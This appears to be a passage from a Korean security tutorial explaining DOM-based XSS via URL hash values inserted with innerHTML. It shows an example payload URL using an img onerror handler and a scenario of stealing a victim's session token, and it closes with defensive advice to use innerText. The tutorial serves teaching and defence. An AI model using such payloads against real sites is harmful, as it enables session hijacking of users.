→ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ URL์˜ ํ•ด์‹œ ๊ฐ’์„ ๊ฐ€์ ธ์™€ URL Decoding ํ›„, ๋ฌธ์„œ์— HTML ํ˜•ํƒœ๋กœ ์‚ฝ์ž…ํ•œ๋‹ค๋ฉด URL ํ•ด์‹œ์— XSS ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด ์ž„์˜ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ฆ‰, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค:

https://host/domxss.html#<img src=@ onerror=alert(1)>

 

์ด ๋•Œ innerHTML๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ๋•Œ์—๋Š” <script> ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐ˜๋“œ์‹œ event ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ด์šฉํ•ด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค.

//innerHTML ๋กœ ๋ฐ”๋กœ ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ๋ฅผ ํ†ตํ•œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ X → onclick ๋“ฑ์„ ์‚ฌ์šฉํ•ด์•ผ ํ•จ

 

์˜ˆ์‹œ๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์กด์žฌํ•  ์ˆ˜ ์žˆ๋‹ค. 

  1. Alice๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„œ๋ฒ„์— ๋กœ๊ทธ์ธ์„ ํ•œ๋‹ค.
  2. Bob์€ ์กฐ์ž‘๋œ URL (์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š”)์„ Alice์— ๋ณด๋‚ธ๋‹ค.
  3. Alice๋Š” Bob์˜ ์กฐ์ž‘๋œ URL์„ ์„œ๋ฒ„์— ์š”์ฒญํ•œ๋‹ค.
  4. ์„œ๋ฒ„๋Š” Alice์˜ ์š”์ฒญ์— ์‘๋‹ตํ•œ๋‹ค. ์„œ๋ฒ„์˜ ์‘๋‹ต์—๋Š” Bob์˜ ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š๋Š”๋‹ค.
  5. Alice์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์„œ๋ฒ„๊ฐ€ ๋ณด๋‚ด์˜จ ์‘๋‹ต์„ ์ฒ˜๋ฆฌ ํ•  ๋•Œ, Bob์˜ ์ž๋ฐ” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋œ๋‹ค.
  6. Alice์™€ ์„œ๋ฒ„ ์‚ฌ์ด์—์„œ ์‚ฌ์šฉ๋œ ์„ธ์…˜ ํ† ํฐ ์ •๋ณด๊ฐ€ Alice์˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด์„œ Bob์—๊ฒŒ ์ „๋‹ฌ๋œ๋‹ค.
  7. Bob์€ Alice์˜ ์„ธ์…˜์„ ํƒˆ์ทจํ•œ๋‹ค.

 

DOM-based XSS๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ด์šฉ์ž์˜ ์ž…๋ ฅ ๊ฐ’์„ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ๋™์ ์œผ๋กœ HTML์— ์ถ”๊ฐ€ํ•˜๋Š” ํ–‰์œ„๋ฅผ ์ตœ๋Œ€ํ•œ ์ง€์–‘ํ•ด์•ผ ํ•œ๋‹ค. ๋˜ํ•œ, ๋งŒ์•ฝ ๋ฌธ์„œ ๋‚ด์— ๊ตณ์ด HTML๋กœ ์‚ฝ์ž…ํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค๋ฉด innerHTML ๋Œ€์‹ ์— innerText๋ฅผ ์‚ฌ์šฉํ•ด ์ถ”๊ฐ€ํ•ด์•ผ ํ•œ๋‹ค.